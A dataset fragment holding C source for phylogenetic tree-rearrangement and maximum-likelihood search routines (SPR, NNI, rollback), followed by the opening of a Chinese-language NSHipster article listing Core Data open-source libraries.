partitions\n\n @param p\n Node specifying the root of the pruned subtree, i.e. where to prune.\n\n @param mintrav\n Minimum distance from \\a p where to try inserting the pruned subtree\n\n @param maxtrav\n Maximum distance from \\a p where to try inserting the pruned subtree\n\n @param bestList\n The list of best topological rearrangements\n\n @note This function is not part of the API and should not be called by the user\n as it is called internally by the API function \\a pllComputeSPR. \n Also, setting \\a tr->thoroughInsertion affects this function. For each tested SPR\n the new branch lengths will also be optimized. This computes better likelihoods\n but also slows down the method considerably.\n*/\nstatic int pllTestSPR (pllInstance * tr, partitionList * pr, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{\n nodeptr \n p1, p2, q, q1, q2;\n double \n p1z[PLL_NUM_BRANCHES], p2z[PLL_NUM_BRANCHES], q1z[PLL_NUM_BRANCHES], q2z[PLL_NUM_BRANCHES];\n int\n mintrav2, i;\n int numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n\n if (maxtrav < 1 || mintrav > maxtrav) return (PLL_FALSE);\n q = p->back;\n\n if (!isTip (p->number, tr->mxtips))\n {\n p1 = p->next->back;\n p2 = p->next->next->back;\n\n if (!isTip (p1->number, tr->mxtips) || !isTip (p2->number, tr->mxtips))\n {\n /* save branch lengths before splitting the tree in two components */\n for (i = 0; i < numBranches; ++ i)\n {\n p1z[i] = p1->z[i];\n p2z[i] = p2->z[i];\n }\n\n /* split the tree in two components */\n if (! removeNodeBIG (tr, pr, p, numBranches)) return PLL_BADREAR;\n\n /* recursively traverse and perform SPR on the subtree rooted at p1 */\n if (!isTip (p1->number, tr->mxtips))\n {\n pllTraverseUpdate (tr, pr, p, p1->next->back, mintrav, maxtrav, bestList);\n pllTraverseUpdate (tr, pr, p, p1->next->next->back, mintrav, maxtrav, bestList);\n }\n\n /* recursively traverse and perform SPR on the subtree rooted at p2 */\n if (!isTip (p2->number, tr->mxtips))\n {\n pllTraverseUpdate (tr, pr, p, p2->next->back, mintrav, maxtrav, bestList);\n pllTraverseUpdate (tr, pr, p, p2->next->next->back, mintrav, maxtrav, bestList);\n }\n\n /* restore the topology as it was before the split */\n hookup (p->next, p1, p1z, numBranches);\n hookup (p->next->next, p2, p2z, numBranches);\n pllUpdatePartials (tr, pr, p, PLL_FALSE);\n }\n }\n\n if (!isTip (q->number, tr->mxtips) && maxtrav > 0)\n {\n q1 = q->next->back;\n q2 = q->next->next->back;\n\n /* why so many conditions? Why is it not analogous to the previous if for node p? */\n if (\n (\n ! isTip(q1->number, tr->mxtips) && \n (! isTip(q1->next->back->number, tr->mxtips) || ! isTip(q1->next->next->back->number, tr->mxtips))\n )\n ||\n (\n ! isTip(q2->number, tr->mxtips) && \n (! isTip(q2->next->back->number, tr->mxtips) || ! isTip(q2->next->next->back->number, tr->mxtips))\n )\n )\n {\n for (i = 0; i < numBranches; ++ i)\n {\n q1z[i] = q1->z[i];\n q2z[i] = q2->z[i];\n }\n\n if (! removeNodeBIG (tr, pr, q, numBranches)) return PLL_BADREAR;\n\n mintrav2 = mintrav > 2 ? mintrav : 2;\n\n if (!isTip (q1->number, tr->mxtips))\n {\n pllTraverseUpdate (tr, pr, q, q1->next->back, mintrav2, maxtrav, bestList);\n pllTraverseUpdate (tr, pr, q, q1->next->next->back, mintrav2, maxtrav, bestList);\n }\n\n if (!isTip (q2->number, tr->mxtips))\n {\n pllTraverseUpdate (tr, pr, q, q2->next->back, mintrav2, maxtrav, bestList);\n pllTraverseUpdate (tr, pr, q, q2->next->next->back, mintrav2, maxtrav, bestList);\n }\n\n hookup (q->next, q1, q1z, numBranches);\n hookup (q->next->next, q2, q2z, numBranches);\n pllUpdatePartials (tr, pr, q, PLL_FALSE);\n }\n }\n return (PLL_TRUE);\n}\n\n/** @ingroup rearrangementGroup\n @brief Compute a list of possible SPR moves\n \n Iteratively tries all possible SPR moves that can be performed by\n pruning the subtree rooted at \\a p and testing all possible placements\n in a radius of at least \\a mintrav nodea and at most \\a maxtrav nodes from\n \\a p. Note that \\a tr->thoroughInsertion affects the behaviour of the function (see note).\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param p\n Node specifying the root of the pruned subtree, i.e. where to prune.\n\n @param mintrav\n Minimum distance from \\a p where to try inserting the pruned subtree\n\n @param maxtrav\n Maximum distance from \\a p where to try inserting the pruned subtree\n\n @note\n Setting \\a tr->thoroughInsertion affects this function. For each tested SPR\n the new branch lengths will also be optimized. This computes better likelihoods\n but also slows down the method considerably.\n*/\nstatic void \npllComputeSPR (pllInstance * tr, partitionList * pr, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{\n\n tr->startLH = tr->endLH = tr->likelihood;\n\n /* TODO: Add cutoff code */\n\n tr->bestOfNode = PLL_UNLIKELY;\n\n pllTestSPR (tr, pr, p, mintrav, maxtrav, bestList);\n}\n\n/** @ingroup rearrangementGroup\n @brief Return the yielded likelihood of an NNI move, without altering the topology\n\n This function performs the NNI move of type \\a swapType at node \\a p, optimizes\n the branch with endpoints \\a p and \\a p->back and evalutes the resulting likelihood.\n It then restores the topology to the origin and returns the likelihood that the NNI\n move yielded.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param p\n Where to perform the NNI move\n\n @param swapType\n What type of NNI move to perform\n\n @return\n The likelihood yielded from the NNI\n*/\nstatic double \npllTestNNILikelihood (pllInstance * tr, partitionList * pr, nodeptr p, int swapType)\n{\n double lh;\n double z0[PLL_NUM_BRANCHES];\n int i;\n\n /* store the origin branch lengths and likelihood. The original branch lengths could\n be passed as a parameter in order to avoid duplicate computations because of the two\n NNI moves */\n for (i = 0; i < pr->numberOfPartitions; ++ i)\n {\n z0[i] = p->z[i];\n }\n\n /* perform NNI */\n pllTopologyPerformNNI(tr, p, swapType);\n /* recompute the likelihood vectors of the two subtrees rooted at p and p->back,\n optimize the branch lengths and evaluate the likelihood */\n pllUpdatePartials (tr, pr, p, PLL_FALSE);\n pllUpdatePartials (tr, pr, p->back, PLL_FALSE);\n update (tr, pr, p);\n pllEvaluateLikelihood (tr, pr, p, PLL_FALSE, PLL_FALSE);\n lh = tr->likelihood;\n\n /* restore topology */\n pllTopologyPerformNNI(tr, p, swapType);\n pllUpdatePartials (tr, pr, p, PLL_FALSE);\n pllUpdatePartials (tr, pr, p->back, PLL_FALSE);\n //update (tr, pr, p);\n pllEvaluateLikelihood (tr, pr, p, PLL_FALSE, PLL_FALSE);\n for (i = 0; i < pr->numberOfPartitions; ++ i)\n {\n p->z[i] = p->back->z[i] = z0[i];\n }\n\n return lh;\n}\n/** @ingroup rearrangementGroup\n @brief Compares NNI likelihoods at a node and store in the rearrangement list\n\n Compares the two possible NNI moves that can be performed at node \\a p, and\n if the likelihood improves from the one of the original topology, then \n it picks the one that yields the highest likelihood and tries to insert it in\n the list of best rearrangement moves\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param bestList\n Rearrangement moves list\n*/\nstatic void pllTestNNI (pllInstance * tr, partitionList * pr, nodeptr p, pllRearrangeList * bestList)\n{\n double lh0, lh1, lh2;\n pllRearrangeInfo rearr;\n\n /* store the original likelihood */\n lh0 = tr->likelihood;\n\n lh1 = pllTestNNILikelihood (tr, pr, p, PLL_NNI_P_NEXT);\n lh2 = pllTestNNILikelihood (tr, pr, p, PLL_NNI_P_NEXTNEXT);\n\n if (lh0 > lh1 && lh0 > lh2) return;\n\n /* set the arrangement structure */\n rearr.rearrangeType = PLL_REARRANGE_NNI;\n rearr.likelihood = PLL_MAX (lh1, lh2);\n rearr.NNI.originNode = p;\n rearr.NNI.swapType = (lh1 > lh2) ? PLL_NNI_P_NEXT : PLL_NNI_P_NEXTNEXT;\n\n /* try to store it in the best list */\n pllStoreRearrangement (bestList, &rearr);\n}\n\n/** @ingroup rearrangementGroup\n @brief Recursive traversal of the tree structure for testing NNI moves\n \n Recursively traverses the tree structure and tests all allowed NNI\n moves in the area specified by \\a mintrav and \\a maxtrav. For more\n information and details on the function arguments check ::pllSearchNNI\n*/\nstatic void \npllTraverseNNI (pllInstance *tr, partitionList *pr, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{\n if (isTip (p->number, tr->mxtips)) return;\n\n /* if we are at the right radius then compute the NNIs for nodes p->next and p->next->next */\n if (!mintrav)\n {\n pllTestNNI (tr, pr, p->next, bestList);\n pllTestNNI (tr, pr, p->next->next, bestList);\n }\n \n /* and then avoid computing the NNIs for nodes p->next->back and p->next->next->back as they are\n the same to the ones computed in the above two lines. This way we do not need to resolve conflicts\n later on as in the old code */\n if (maxtrav)\n {\n if (!isTip (p->next->back->number, tr->mxtips)) \n pllTraverseNNI (tr, pr, p->next->back, mintrav ? mintrav - 1 : 0, maxtrav - 1, bestList);\n if (!isTip (p->next->next->back->number, tr->mxtips)) \n pllTraverseNNI (tr, pr, p->next->next->back, mintrav ? mintrav - 1 : 0, maxtrav - 1, bestList);\n }\n}\n\n/** @ingroup rearrangementGroup\n @brief Compute a list of possible NNI moves\n \n Iteratively tries all possible NNI moves at each node that is at\n least \\a mintrav and at most \\a maxtrav nodes far from node \\a p.\n At each NNI move, the likelihood is tested and if it is higher than\n the likelihood of an element in the sorted (by likelihood) list \n \\a bestList, or if there is still empty space in \\a bestList, it is\n inserted at the corresponding position.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param p\n Node specifying the point where the NNI will be performed.\n\n @param mintrav\n Minimum distance from \\a p where the NNI can be tested \n\n @param maxtrav\n Maximum distance from \\a p where to try NNIs\n*/\nstatic void\npllSearchNNI (pllInstance * tr, partitionList * pr, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{\n /* avoid conflicts by precomputing the NNI of the first node */\n\n if (mintrav == 0) \n pllTestNNI (tr, pr, p, bestList);\n \n pllTraverseNNI (tr, pr, p, mintrav, maxtrav, bestList);\n if (maxtrav)\n pllTraverseNNI (tr, pr, p->back, mintrav, maxtrav - 1, bestList);\n\n}\n\n/** @ingroup rearrangementGroup\n @brief Create rollback information for an SPR move\n \n Creates a structure of type ::pllRollbackInfo and fills it with rollback\n information about the SPR move described in \\a rearr. The rollback info\n is stored in the PLL instance in a LIFO manner.\n\n @param tr\n PLL instance\n\n @param rearr\n Description of the SPR move\n\n @param numBranches\n Number of partitions\n*/\nstatic void \npllCreateSprInfoRollback (pllInstance * tr, pllRearrangeInfo * rearr, int numBranches)\n{\n pllRollbackInfo * sprRb;\n nodeptr p, q;\n int i;\n\n p = rearr->SPR.removeNode;\n q = rearr->SPR.insertNode;\n\n sprRb = (pllRollbackInfo *) rax_malloc (sizeof (pllRollbackInfo) + 4 * numBranches * sizeof (double));\n sprRb->SPR.zp = (double *) ((char *)sprRb + sizeof (pllRollbackInfo));\n sprRb->SPR.zpn = (double *) ((char *)sprRb + sizeof (pllRollbackInfo) + numBranches * sizeof (double));\n sprRb->SPR.zpnn = (double *) ((char *)sprRb + sizeof (pllRollbackInfo) + 2 * numBranches * sizeof (double));\n sprRb->SPR.zqr = (double *) ((char *)sprRb + sizeof (pllRollbackInfo) + 3 * numBranches * sizeof (double));\n\n for (i = 0; i < numBranches; ++ i)\n {\n sprRb->SPR.zp[i] = p->z[i];\n sprRb->SPR.zpn[i] = p->next->z[i];\n sprRb->SPR.zpnn[i] = p->next->next->z[i];\n sprRb->SPR.zqr[i] = q->z[i];\n }\n\n sprRb->SPR.pn = p->next->back;\n sprRb->SPR.pnn = p->next->next->back;\n sprRb->SPR.r = q->back;\n sprRb->SPR.q = q;\n sprRb->SPR.p = p;\n\n sprRb->rearrangeType = PLL_REARRANGE_SPR;\n\n pllStackPush (&(tr->rearrangeHistory), (void *) sprRb);\n}\n\n/** @ingroup rearrangementGroup\n @brief Create rollback information for an NNI move\n\n Creates a structure of type ::pllRollbackInfo and fills it with rollback\n information about the SPR move described in \\a rearr. The rollback info\n is stored in the PLL instance in a LIFO manner\n\n @param tr\n PLL instance\n\n @param rearr\n Description of the NNI move\n*/\nstatic void\npllCreateNniInfoRollback (pllInstance * tr, pllRearrangeInfo * rearr)\n{\n /*TODO: add the branches ? */\n pllRollbackInfo * ri;\n\n ri = (pllRollbackInfo *) rax_malloc (sizeof (pllRollbackInfo));\n\n ri->rearrangeType = PLL_REARRANGE_NNI;\n\n ri->NNI.origin = rearr->NNI.originNode;\n ri->NNI.swapType = rearr->NNI.swapType;\n\n pllStackPush (&(tr->rearrangeHistory), (void *) ri);\n \n}\n\n\n/** @ingroup rearrangementGroup\n @brief Generic function for creating rollback information\n\n Creates a structure of type ::pllRollbackInfo and fills it with rollback\n information about the move described in \\a rearr. The rollback info\n is stored in the PLL instance in a LIFO manner\n\n @param tr\n PLL instance\n\n @param rearr\n Description of the NNI move\n\n @param numBranches\n Number of partitions\n*/\nstatic void\npllCreateRollbackInfo (pllInstance * tr, pllRearrangeInfo * rearr, int numBranches)\n{\n switch (rearr->rearrangeType)\n {\n case PLL_REARRANGE_NNI:\n pllCreateNniInfoRollback (tr, rearr);\n break;\n case PLL_REARRANGE_SPR:\n pllCreateSprInfoRollback (tr, rearr, numBranches);\n break;\n default:\n break;\n }\n\n}\n\n\n/** @ingroup rearrangementGroup\n @brief Rollback an SPR move\n\n Perform a rollback (undo) on the last SPR move.\n \n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param ri\n Rollback information\n*/\nstatic void\npllRollbackSPR (partitionList * pr, pllRollbackInfo * ri)\n{\n int numBranches;\n\n numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n\n hookup (ri->SPR.p->next, ri->SPR.pn, ri->SPR.zpn, numBranches);\n hookup (ri->SPR.p->next->next, ri->SPR.pnn, ri->SPR.zpnn, numBranches); \n hookup (ri->SPR.p, ri->SPR.p->back, ri->SPR.zp, numBranches);\n hookup (ri->SPR.q, ri->SPR.r, ri->SPR.zqr, numBranches);\n\n rax_free (ri);\n}\n\n/** @ingroup rearrangementGroup\n @brief Rollback an NNI move\n\n Perform a rollback (undo) on the last NNI move.\n \n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param ri\n Rollback information\n*/\nstatic void\npllRollbackNNI (pllInstance * tr, partitionList * pr, pllRollbackInfo * ri)\n{\n nodeptr p = ri->NNI.origin;\n\n pllTopologyPerformNNI(tr, p, ri->NNI.swapType);\n pllUpdatePartials (tr, pr, p, PLL_FALSE);\n pllUpdatePartials (tr, pr, p->back, PLL_FALSE);\n update (tr, pr, p);\n pllEvaluateLikelihood (tr, pr, p, PLL_FALSE, PLL_FALSE);\n \n rax_free (ri);\n}\n\n/** @ingroup rearrangementGroup\n @brief Rollback the last committed rearrangement move\n \n Perform a rollback (undo) on the last committed rearrangement move.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @return\n Returns \\b PLL_TRUE is the rollback was successful, otherwise \\b PLL_FALSE\n (if no rollback was done)\n*/\nint \npllRearrangeRollback (pllInstance * tr, partitionList * pr)\n{\n pllRollbackInfo * ri;\n \n ri = (pllRollbackInfo *) pllStackPop (&(tr->rearrangeHistory));\n if (!ri) return (PLL_FALSE);\n\n switch (ri->rearrangeType)\n {\n case PLL_REARRANGE_NNI:\n pllRollbackNNI (tr, pr, ri);\n break;\n case PLL_REARRANGE_SPR:\n pllRollbackSPR (pr, ri);\n break;\n default:\n rax_free (ri);\n return (PLL_FALSE);\n }\n\n return (PLL_TRUE);\n \n}\n\n\n/** @ingroup rearrangementGroup\n @brief Commit a rearrangement move\n\n Applies the rearrangement move specified in \\a rearr to the tree topology in \\a tr. \n In case of SPR moves, if\n \\a tr->thoroughInsertion is set to \\b PLL_TRUE, the new branch lengths are also optimized. \n The function stores rollback information in pllInstance::rearrangeHistory if \\a saveRollbackInfo\n is set to \\b PLL_TRUE. This way, the rearrangement move can be rolled back (undone) by calling\n ::pllRearrangeRollback\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param rearr\n An element of a \\a pllRearrangeInfo structure that contains information about the rearrangement move\n\n @param saveRollbackInfo\n If set to \\b PLL_TRUE, rollback info will be kept for undoing the rearrangement move\n*/\nvoid\npllRearrangeCommit (pllInstance * tr, partitionList * pr, pllRearrangeInfo * rearr, int saveRollbackInfo)\n{\n int numBranches;\n\n numBranches = pr->perGeneBranchLengths ? pr->numberOfPartitions : 1;\n\n if (saveRollbackInfo)\n pllCreateRollbackInfo (tr, rearr, numBranches);\n\n switch (rearr->rearrangeType)\n {\n case PLL_REARRANGE_NNI:\n pllTopologyPerformNNI(tr, rearr->NNI.originNode, rearr->NNI.swapType);\n pllUpdatePartials (tr, pr, rearr->NNI.originNode, PLL_FALSE);\n pllUpdatePartials (tr, pr, rearr->NNI.originNode->back, PLL_FALSE);\n update (tr, pr, rearr->NNI.originNode);\n pllEvaluateLikelihood (tr, pr, rearr->NNI.originNode, PLL_FALSE, PLL_FALSE);\n break;\n case PLL_REARRANGE_SPR:\n removeNodeBIG (tr, pr, rearr->SPR.removeNode, numBranches);\n insertBIG (tr, pr, rearr->SPR.removeNode, rearr->SPR.insertNode);\n break;\n default:\n break;\n }\n}\n\n\n/******** new rearrangement functions ****************/\n\n/* change this to return the number of new elements in the list */\n/** @ingroup rearrangementGroup\n @brief Search for rearrangement topologies\n \n Search for possible rearrangement moves of type \\a rearrangeType in the\n annular area defined by the minimal resp. maximal radii \\a mintrav resp.\n \\a maxtrav. If the resulting likelihood is better than the current, try\n to insert the move specification in \\a bestList, which is a sorted list\n that holds the rearrange info of the best moves sorted by likelihood\n (desccending order).\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param rearrangeType\n Type of rearrangement. Can be \\b PLL_REARRANGE_SPR or \\b PLL_REARRANGE_NNI\n\n @param p\n Point of origin, i.e. where to start searching from\n\n @param mintrav\n The minimal radius of the annulus\n\n @param maxtrav\n The maximal radius of the annulus\n\n @param bestList\n List that holds the details of the best rearrangement moves found\n\n @note\n If \\a bestList is not empty, the existing entries will not be altered unless\n better rearrangement moves (that means yielding better likelihood) are found\n and the list is full, in which case the entries with the worst likelihood will be\n thrown away.\n*/\nvoid\npllRearrangeSearch (pllInstance * tr, partitionList * pr, int rearrangeType, nodeptr p, int mintrav, int maxtrav, pllRearrangeList * bestList)\n{\n switch (rearrangeType)\n {\n case PLL_REARRANGE_SPR:\n pllComputeSPR (tr, pr, p, mintrav, maxtrav, bestList);\n break;\n\n case PLL_REARRANGE_NNI:\n pllSearchNNI (tr, pr, p, mintrav, maxtrav, bestList);\n break;\n\n case PLL_REARRANGE_TBR:\n break;\n default:\n break;\n }\n}\n\n\nstatic int\ndetermineRearrangementSetting(pllInstance *tr, partitionList *pr,\n bestlist *bestT, bestlist *bt)\n{\n int i, mintrav, maxtrav, bestTrav, impr, index, MaxFast, *perm = (int*) NULL;\n double startLH;\n pllBoolean cutoff;\n\n MaxFast = 26;\n\n startLH = tr->likelihood;\n\n cutoff = tr->doCutoff;\n tr->doCutoff = PLL_FALSE;\n\n mintrav = 1;\n maxtrav = 5;\n\n bestTrav = maxtrav = 5;\n\n impr = 1;\n\n resetBestTree(bt);\n\n if (tr->permuteTreeoptimize)\n {\n int n = tr->mxtips + tr->mxtips - 2;\n perm = (int *) rax_malloc(sizeof(int) * (n + 1));\n makePermutation(perm, n, tr);\n }\n\n while (impr && maxtrav < MaxFast)\n {\n recallBestTree(bestT, 1, tr, pr);\n nodeRectifier(tr);\n\n if (maxtrav > tr->ntips - 3)\n maxtrav = tr->ntips - 3;\n\n tr->startLH = tr->endLH = tr->likelihood;\n\n for (i = 1; i <= tr->mxtips + tr->mxtips - 2; i++)\n {\n\n if (tr->permuteTreeoptimize)\n index = perm[i];\n else\n index = i;\n\n tr->bestOfNode = PLL_UNLIKELY;\n if (rearrangeBIG(tr, pr, tr->nodep[index], mintrav, maxtrav))\n {\n if (tr->endLH > tr->startLH)\n {\n restoreTreeFast(tr, pr);\n tr->startLH = tr->endLH = tr->likelihood;\n }\n }\n }\n\n pllOptimizeBranchLengths(tr, pr, 8);\n saveBestTree(bt, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n\n if (tr->likelihood > startLH)\n {\n startLH = tr->likelihood;\n bestTrav = maxtrav;\n impr = 1;\n }\n else\n {\n impr = 0;\n }\n maxtrav += 5;\n\n if (tr->doCutoff)\n {\n tr->lhCutoff = (tr->lhAVG) / ((double) (tr->lhDEC));\n\n tr->itCount = tr->itCount + 1;\n tr->lhAVG = 0;\n tr->lhDEC = 0;\n }\n }\n\n recallBestTree(bt, 1, tr, pr);\n tr->doCutoff = cutoff;\n\n if (tr->permuteTreeoptimize)\n rax_free(perm);\n\n return bestTrav;\n}\n\n\nstatic void hash_dealloc_bipentry (void * entry)\n{\n pllBipartitionEntry * e = (pllBipartitionEntry *)entry;\n\n if(e->bitVector) rax_free(e->bitVector);\n if(e->treeVector) rax_free(e->treeVector);\n if(e->supportVector) rax_free(e->supportVector);\n\n}\n\n/** @ingroup rearrangementGroup\n @brief RAxML algorithm for ML search\n\n RAxML algorithm for searching the Maximum Likelihood tree and model.\n\n @param tr\n PLL instance\n\n @param pr\n List of partitions\n\n @param estimateModel\n If true, model parameters are optimized in a ML framework.\n\n @note\n For datasets with a large number of taxa, setting tr->searchConvergenceCriterion to\n PLL_TRUE can improve the execution time in up to 50% looking for topology convergence.\n*/\nint\npllRaxmlSearchAlgorithm(pllInstance * tr, partitionList * pr,\n pllBoolean estimateModel)\n{\n pllEvaluateLikelihood(tr, pr, tr->start, PLL_TRUE, PLL_FALSE);\n pllOptimizeBranchLengths(tr, pr, 32);\n\n unsigned int vLength = 0;\n int i, impr, bestTrav, rearrangementsMax = 0, rearrangementsMin = 0,\n thoroughIterations = 0, fastIterations = 0;\n\n double lh, previousLh, difference, epsilon;\n bestlist *bestT, *bt;\n infoList iList;\n pllOptimizeBranchLengths(tr, pr, 32);\n\n pllHashTable *h = NULL;\n //hashtable *h = NULL;\n unsigned int **bitVectors = (unsigned int**) NULL;\n\n /* Security check... These variables might have not been initialized! */\n if (tr->stepwidth == 0) tr->stepwidth = 5;\n if (tr->max_rearrange == 0) tr->max_rearrange = 21;\n\n if (tr->searchConvergenceCriterion)\n {\n bitVectors = initBitVector(tr->mxtips, &vLength);\n //h = initHashTable(tr->mxtips * 4);\n h = pllHashInit (tr->mxtips * 4);\n }\n\n bestT = (bestlist *) rax_malloc(sizeof(bestlist));\n bestT->ninit = 0;\n initBestTree(bestT, 1, tr->mxtips);\n\n bt = (bestlist *) rax_malloc(sizeof(bestlist));\n bt->ninit = 0;\n initBestTree(bt, 20, tr->mxtips);\n\n initInfoList(&iList, 50);\n\n difference = 10.0;\n epsilon = tr->likelihoodEpsilon;\n\n tr->thoroughInsertion = 0;\n\n if (estimateModel)\n {\n pllEvaluateLikelihood(tr, pr, tr->start, PLL_TRUE, PLL_FALSE);\n pllOptimizeModelParameters(tr, pr, 10.0);\n }\n else\n pllOptimizeBranchLengths(tr, pr, 64);\n\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n\n if (!tr->initialSet)\n bestTrav = tr->bestTrav = determineRearrangementSetting(tr, pr, bestT, bt);\n else\n bestTrav = tr->bestTrav = tr->initial;\n\n if (estimateModel)\n {\n pllEvaluateLikelihood(tr, pr, tr->start, PLL_TRUE, PLL_FALSE);\n pllOptimizeModelParameters(tr, pr, 5.0);\n }\n else\n pllOptimizeBranchLengths(tr, pr, 32);\n\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n impr = 1;\n if (tr->doCutoff)\n tr->itCount = 0;\n\n while (impr)\n {\n recallBestTree(bestT, 1, tr, pr);\n\n if (tr->searchConvergenceCriterion)\n {\n int bCounter = 0;\n\n if (fastIterations > 1)\n cleanupHashTable(h, (fastIterations % 2));\n\n bitVectorInitravSpecial(bitVectors, tr->nodep[1]->back, tr->mxtips,\n vLength, h, fastIterations % 2, PLL_BIPARTITIONS_RF,\n (branchInfo *) NULL, &bCounter, 1, PLL_FALSE, PLL_FALSE, 0);\n\n assert(bCounter == tr->mxtips - 3);\n\n if (fastIterations > 0)\n {\n double rrf = convergenceCriterion(h, tr->mxtips);\n\n if (rrf <= 0.01) /* 1% cutoff */\n {\n cleanupHashTable(h, 0);\n cleanupHashTable(h, 1);\n goto cleanup_fast;\n }\n }\n }\n\n fastIterations++;\n\n pllOptimizeBranchLengths(tr, pr, 32);\n\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n\n lh = previousLh = tr->likelihood;\n\n treeOptimizeRapid(tr, pr, 1, bestTrav, bt, &iList);\n\n impr = 0;\n\n for (i = 1; i <= bt->nvalid; i++)\n {\n recallBestTree(bt, i, tr, pr);\n\n pllOptimizeBranchLengths(tr, pr, 8);\n\n difference = (\n (tr->likelihood > previousLh) ?\n tr->likelihood - previousLh : previousLh - tr->likelihood);\n if (tr->likelihood > lh && difference > epsilon)\n {\n impr = 1;\n lh = tr->likelihood;\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n }\n }\n }\n\n if (tr->searchConvergenceCriterion)\n {\n cleanupHashTable(h, 0);\n cleanupHashTable(h, 1);\n }\n\n cleanup_fast:\n\n tr->thoroughInsertion = 1;\n impr = 1;\n\n recallBestTree(bestT, 1, tr, pr);\n if (estimateModel)\n {\n pllEvaluateLikelihood(tr, pr, tr->start, PLL_TRUE, PLL_FALSE);\n pllOptimizeModelParameters(tr, pr, 1.0);\n }\n else\n pllOptimizeBranchLengths(tr, pr, 32);\n\n while (1)\n {\n recallBestTree(bestT, 1, tr, pr);\n if (impr)\n {\n rearrangementsMin = 1;\n rearrangementsMax = tr->stepwidth;\n\n if (tr->searchConvergenceCriterion)\n {\n int bCounter = 0;\n\n if (thoroughIterations > 1)\n cleanupHashTable(h, (thoroughIterations % 2));\n\n bitVectorInitravSpecial(bitVectors, tr->nodep[1]->back,\n tr->mxtips, vLength, h, thoroughIterations % 2,\n PLL_BIPARTITIONS_RF, (branchInfo *) NULL, &bCounter, 1,\n PLL_FALSE, PLL_FALSE, 0);\n\n assert(bCounter == tr->mxtips - 3);\n\n if (thoroughIterations > 0)\n {\n double rrf = convergenceCriterion(h, tr->mxtips);\n\n if (rrf <= 0.01) /* 1% cutoff */\n {\n goto cleanup;\n }\n }\n }\n\n thoroughIterations++;\n }\n else\n {\n rearrangementsMax += tr->stepwidth;\n rearrangementsMin += tr->stepwidth;\n if (rearrangementsMax > tr->max_rearrange)\n goto cleanup;\n }\n pllOptimizeBranchLengths(tr, pr, 32);\n\n previousLh = lh = tr->likelihood;\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n\n treeOptimizeRapid(tr, pr, rearrangementsMin, rearrangementsMax, bt,\n &iList);\n\n impr = 0;\n\n for (i = 1; i <= bt->nvalid; i++)\n {\n recallBestTree(bt, i, tr, pr);\n\n pllOptimizeBranchLengths(tr, pr, 8);\n\n difference = (\n (tr->likelihood > previousLh) ?\n tr->likelihood - previousLh : previousLh - tr->likelihood);\n if (tr->likelihood > lh && difference > epsilon)\n {\n impr = 1;\n lh = tr->likelihood;\n saveBestTree(bestT, tr,\n pr->perGeneBranchLengths ? pr->numberOfPartitions : 1);\n }\n }\n\n }\n\n cleanup:\n if (tr->searchConvergenceCriterion)\n {\n freeBitVectors(bitVectors, 2 * tr->mxtips);\n rax_free(bitVectors);\n //freeHashTable(h);\n //rax_free(h);\n pllHashDestroy(&h, hash_dealloc_bipentry);\n }\n\n freeBestTree(bestT);\n rax_free(bestT);\n freeBestTree(bt);\n rax_free(bt);\n\n freeInfoList(&iList);\n\n if (estimateModel) {\n pllOptimizeModelParameters(tr, pr, epsilon);\n }\n pllOptimizeBranchLengths(tr, pr, 64);\n\n return 0;\n}\n\n"} +{"text": "---\nlayout: post\ntitle: \"Core Data Libraries & Utilities\"\ncategory: Open Source\nauthor: Mattt\ntranslator: JJ Mao\nretired: true\nexcerpt: \"上周,我们感觉Core Data有些难,所以为了NSHipster的这个问题,我们将奉上关于使用Core Data的最好开源库的引导。仔细阅读,看看你如何充分利用这次Core Data体验。\"\n---\n\n因此我们姑且认为你已经确定自己的特定需求并且对比过所有的备选方案,选择在你的下一个应用中使用[Core Data](https://developer.apple.com/library/mac/#documentation/cocoa/Conceptual/CoreData/cdProgrammingGuide.html)。\n\n没错!Core Data 是应用模型、持久化和大量对象图查找的最佳选择。\n\n当然,Core Data 很复杂、繁琐,有时还是个[讨厌鬼](https://nshipster.com/nscoding#figure-2)— 但是,天杀的,史上最好和最受欢迎的一些应用都用 Core Data。既然 Core Data 对他们来说已经足够好了,那对你来说也应该够好了。\n\n...但这并不意味着 Core Data 无法改善了。\n\n虽然很多库试着替换 Core Data,但是有更多库在尝试改善它。这些库涵盖了从必要的语法糖到广泛的全栈框架。\n\n本周的 NSHipster:将奉上关于使用 Core Data 的最好开源库的引导。仔细阅读,看看你如何充分利用这次 Core Data 体验。\n\n---\n\n> 为方便起见,提供下表。该表包含了使用 Core Data 的最重要的开源库和实用工具。该清单并不全面,如果你觉得有什么需要补充或是不合适,请在推特上联系[@NSHipster](https://twitter.com/NSHipster)—或是[提交一个 pull request](https://github.com/NSHipster/articles),那就更好了。\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n
    Wrappers
    Magical RecordSaul Mora
    Objective-RecordMarin Usalj
    SSDataKitSam Soffes
